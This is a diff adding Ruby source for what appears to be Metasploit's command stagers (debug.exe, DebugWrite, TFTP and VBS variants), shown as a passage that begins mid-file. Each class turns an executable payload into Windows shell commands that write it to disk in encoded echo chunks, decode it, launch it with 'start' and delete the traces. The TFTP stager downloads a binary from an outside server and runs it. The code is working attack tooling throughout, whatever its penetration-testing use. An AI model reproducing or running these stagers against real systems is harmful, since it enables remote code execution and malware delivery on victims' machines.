+ def generate_cmds_decoder(opts)
84
+
85
+ # Allow decoder stub override (needs to input base64 and output bin)
86
+ @decoder = opts[:decoder] if (opts[:decoder])
87
+
88
+ # Read the decoder data file
89
+ f = File.new(@decoder, "rb")
90
+ decoder = f.read(f.stat.size)
91
+ f.close
92
+
93
+ # Replace variables
94
+ decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_decoder_asm}")
95
+ decoder.gsub!(/h2b\.com/, "#{@tempdir}#{@var_decoder_com}")
96
+ # NOTE: these two filenames MUST 8+3 chars long.
97
+ decoder.gsub!(/testfile\.dat/, "#{@var_payload_in}")
98
+ decoder.gsub!(/testfile\.out/, "#{@var_payload_out}")
99
+
100
+ # Split it apart by the lines
101
+ decoder.split("\n")
102
+ end
103
+
104
+
105
+ #
106
+ # We override compress commands just to stick in a few extra commands
107
+ # last second..
108
+ #
109
+ def compress_commands(cmds, opts)
110
+ # Convert the debug script to an executable...
111
+ cvt_cmd = ''
112
+ if (@tempdir != '')
113
+ cvt_cmd << "cd %TEMP% && "
114
+ end
115
+ cvt_cmd << "debug < #{@tempdir}#{@var_decoder_asm}"
116
+ cmds << cvt_cmd
117
+
118
+ # Convert the encoded payload...
119
+ cmds << "#{@tempdir}#{@var_decoder_com}"
120
+
121
+ # Make it all happen
122
+ cmds << "start #{@tempdir}#{@var_payload_out}"
123
+
124
+ # Clean up after unless requested not to..
125
+ if (not opts[:nodelete])
126
+ cmds << "del #{@tempdir}#{@var_decoder_asm}"
127
+ cmds << "del #{@tempdir}#{@var_decoder_com}"
128
+ cmds << "del #{@tempdir}#{@var_payload_in}"
129
+ # XXX: We won't be able to delete the payload while it is running..
130
+ end
131
+
132
+ super
133
+ end
134
+
135
+ # Windows uses & to concat strings
136
+ def cmd_concat_operator
137
+ " & "
138
+ end
139
+
140
+ end
141
+ end
142
+ end
@@ -0,0 +1,136 @@
1
+ ##
2
+ # $Id$
3
+ ##
4
+
5
+ require 'rex/text'
6
+ require 'rex/arch'
7
+ require 'msf/core/framework'
8
+
9
+ module Rex
10
+ module Exploitation
11
+
12
+ ###
13
+ #
14
+ # This class provides the ability to create a sequence of commands from an executable.
15
+ # When this sequence is ran via command injection or a shell, the resulting exe will
16
+ # be written to disk and executed.
17
+ #
18
+ # This particular version uses debug.exe to write a small .NET binary. That binary will
19
+ # take a hex-ascii file, created via echo >>, and decode it to the final binary.
20
+ #
21
+ # Requires: .NET, debug.exe
22
+ #
23
+ ###
24
+
25
+ class CmdStagerDebugWrite < CmdStagerBase
26
+
27
+ def initialize(exe)
28
+ super
29
+
30
+ @var_bypass = Rex::Text.rand_text_alpha(8)
31
+ @var_payload = Rex::Text.rand_text_alpha(8)
32
+ @decoder = nil # filled in later
33
+ end
34
+
35
+
36
+ #
37
+ # Override just to set the extra byte count
38
+ #
39
+ def generate_cmds(opts)
40
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
41
+ @cmd_start = "echo "
42
+ @cmd_end = ">>#{@tempdir}#{@var_payload}"
43
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
44
+ opts.merge!({ :extra => xtra_len })
45
+ super
46
+ end
47
+
48
+
49
+ #
50
+ # Simple hex encoding...
51
+ #
52
+ def encode_payload(opts)
53
+ @exe.unpack('H*')[0]
54
+ end
55
+
56
+
57
+ #
58
+ # Combine the parts of the encoded file with the stuff that goes
59
+ # before / after it.
60
+ #
61
+ def parts_to_commands(parts, opts)
62
+
63
+ cmds = []
64
+ parts.each do |p|
65
+ cmd = ''
66
+ cmd << @cmd_start
67
+ cmd << p
68
+ cmd << @cmd_end
69
+ cmds << cmd
70
+ end
71
+
72
+ cmds
73
+ end
74
+
75
+
76
+ #
77
+ # Generate the commands that will decode the file we just created
78
+ #
79
+ def generate_cmds_decoder(opts)
80
+
81
+ # Allow decoder stub override (needs to input base64 and output bin)
82
+ @decoder = opts[:decoder] if (opts[:decoder])
83
+
84
+ # Read the decoder data file
85
+ f = File.new(@decoder, "rb")
86
+ decoder = f.read(f.stat.size)
87
+ f.close
88
+
89
+ # Replace variables
90
+ decoder.gsub!(/decoder_stub/, "#{@tempdir}#{@var_bypass}")
91
+
92
+ # Split it apart by the lines
93
+ decoder.split("\n")
94
+ end
95
+
96
+
97
+ #
98
+ # We override compress commands just to stick in a few extra commands
99
+ # last second..
100
+ #
101
+ def compress_commands(cmds, opts)
102
+ # Convert the debug script to an executable...
103
+ cvt_cmd = ''
104
+ if (@tempdir != '')
105
+ cvt_cmd << "cd %TEMP% && "
106
+ end
107
+ cvt_cmd << "debug < #{@tempdir}#{@var_bypass}"
108
+ cmds << cvt_cmd
109
+
110
+ # Rename the resulting binary
111
+ cmds << "move #{@tempdir}#{@var_bypass}.bin #{@tempdir}#{@var_bypass}.exe"
112
+
113
+ # Converting the encoded payload...
114
+ cmds << "#{@tempdir}#{@var_bypass}.exe #{@tempdir}#{@var_payload}"
115
+
116
+ # Make it all happen
117
+ cmds << "start #{@tempdir}#{@var_payload}.exe"
118
+
119
+ # Clean up after unless requested not to..
120
+ if (not opts[:nodelete])
121
+ cmds << "del #{@tempdir}#{@var_bypass}.exe"
122
+ cmds << "del #{@tempdir}#{@var_payload}"
123
+ # XXX: We won't be able to delete the payload while it is running..
124
+ end
125
+
126
+ super
127
+ end
128
+
129
+ # Windows uses & to concat strings
130
+ def cmd_concat_operator
131
+ " & "
132
+ end
133
+
134
+ end
135
+ end
136
+ end
@@ -0,0 +1,63 @@
1
+ ##
2
+ # $Id: tftp.rb 10169 2010-08-27 17:23:47Z jduck $
3
+ ##
4
+
5
+ require 'rex/text'
6
+ require 'rex/arch'
7
+ require 'msf/core/framework'
8
+
9
+ module Rex
10
+ module Exploitation
11
+
12
+ ###
13
+ #
14
+ # This class provides the ability to create a sequence of commands from an executable.
15
+ # When this sequence is ran via command injection or a shell, the resulting exe will
16
+ # be written to disk and executed.
17
+ #
18
+ # This particular version uses tftp.exe to download a binary from the specified
19
+ # server. The original file is preserve, not encoded at all, and so this version
20
+ # is significantly simpler than other methods.
21
+ #
22
+ # Requires: tftp.exe, outbound udp connectivity to a tftp server
23
+ #
24
+ # Written by Joshua J. Drake
25
+ #
26
+ ###
27
+
28
+ class CmdStagerTFTP < CmdStagerBase
29
+
30
+ def initialize(exe)
31
+ super
32
+
33
+ @payload_exe = Rex::Text.rand_text_alpha(8) + ".exe"
34
+ end
35
+
36
+
37
+ #
38
+ # We override compress commands just to stick in a few extra commands
39
+ # last second..
40
+ #
41
+ def compress_commands(cmds, opts)
42
+ # Initiate the download
43
+ cmds << "tftp -i #{opts[:tftphost]} GET #{opts[:transid]} #{@tempdir + @payload_exe}"
44
+
45
+ # Make it all happen
46
+ cmds << "start #{@tempdir + @payload_exe}"
47
+
48
+ # Clean up after unless requested not to..
49
+ if (not opts[:nodelete])
50
+ # XXX: We won't be able to delete the payload while it is running..
51
+ end
52
+
53
+ super
54
+ end
55
+
56
+ # NOTE: We don't use a concatenation operator here since we only have a couple commands.
57
+ # There really isn't any need to combine them. Also, the ms01_026 exploit depends on
58
+ # the start command being issued separately so that it can ignore it :)
59
+
60
+ attr_reader :payload_exe
61
+ end
62
+ end
63
+ end
@@ -0,0 +1,128 @@
1
+ ##
2
+ # $Id$
3
+ ##
4
+
5
+ require 'rex/text'
6
+ require 'rex/arch'
7
+ require 'msf/core/framework'
8
+
9
+ module Rex
10
+ module Exploitation
11
+
12
+ ###
13
+ #
14
+ # This class provides the ability to create a sequence of commands from an executable.
15
+ # When this sequence is ran via command injection or a shell, the resulting exe will
16
+ # be written to disk and executed.
17
+ #
18
+ # This particular version uses Windows Scripting (VBS) to base64 decode a file,
19
+ # created via echo >>, and decode it to the final binary.
20
+ #
21
+ # Requires: Windows Scripting
22
+ # Known Issue: errors with non-ascii-native systems
23
+ #
24
+ # Written by bannedit
25
+ #
26
+ ###
27
+
28
+ class CmdStagerVBS < CmdStagerBase
29
+
30
+ def initialize(exe)
31
+ super
32
+
33
+ @var_decoder = Rex::Text.rand_text_alpha(5)
34
+ @var_encoded = Rex::Text.rand_text_alpha(5)
35
+ @var_decoded = Rex::Text.rand_text_alpha(5)
36
+ @decoder = nil # filled in later
37
+ end
38
+
39
+
40
+ #
41
+ # Override just to set the extra byte count
42
+ #
43
+ def generate_cmds(opts)
44
+ # Set the start/end of the commands here (vs initialize) so we have @tempdir
45
+ @cmd_start = "echo "
46
+ @cmd_end = ">>#{@tempdir}#{@var_encoded}.b64"
47
+ xtra_len = @cmd_start.length + @cmd_end.length + 1
48
+ opts.merge!({ :extra => xtra_len })
49
+ super
50
+ end
51
+
52
+
53
+ #
54
+ # Simple base64...
55
+ #
56
+ def encode_payload(opts)
57
+ Rex::Text.encode_base64(@exe)
58
+ end
59
+
60
+
61
+ #
62
+ # Combine the parts of the encoded file with the stuff that goes
63
+ # before / after it.
64
+ #
65
+ def parts_to_commands(parts, opts)
66
+
67
+ cmds = []
68
+ parts.each do |p|
69
+ cmd = ''
70
+ cmd << @cmd_start
71
+ cmd << p
72
+ cmd << @cmd_end
73
+ cmds << cmd
74
+ end
75
+
76
+ cmds
77
+ end
78
+
79
+
80
+ #
81
+ # Generate the commands that will decode the file we just created
82
+ #
83
+ def generate_cmds_decoder(opts)
84
+
85
+ # Allow decoder stub override (needs to input base64 and output bin)
86
+ @decoder = opts[:decoder] if (opts[:decoder])
87
+
88
+ # Read the decoder data file
89
+ f = File.new(@decoder, "rb")
90
+ decoder = f.read(f.stat.size)
91
+ f.close
92
+
93
+ # Replace variables
94
+ decoder.gsub!(/decode_stub/, "#{@tempdir}#{@var_decoder}.vbs")
95
+ decoder.gsub!(/ENCODED/, "#{@tempdir}#{@var_encoded}.b64")
96
+ decoder.gsub!(/DECODED/, "#{@tempdir}#{@var_decoded}.exe")
97
+
98
+ # Split it apart by the lines
99
+ decoder.split("\n")
100
+ end
101
+
102
+
103
+ #
104
+ # We override compress commands just to stick in a few extra commands
105
+ # last second..
106
+ #
107
+ def compress_commands(cmds, opts)
108
+ # Make it all happen
109
+ cmds << "cscript //nologo #{@tempdir}#{@var_decoder}.vbs"
110
+
111
+ # Clean up after unless requested not to..
112
+ if (not opts[:nodelete])
113
+ cmds << "del #{@tempdir}#{@var_decoder}.vbs"
114
+ cmds << "del #{@tempdir}#{@var_encoded}.b64"
115
+ # NOTE: We won't be able to delete the exe while it's in use.
116
+ end
117
+
118
+ super
119
+ end
120
+
121
+ # Windows uses & to concat strings
122
+ def cmd_concat_operator
123
+ " & "
124
+ end
125
+
126
+ end
127
+ end
128
+ end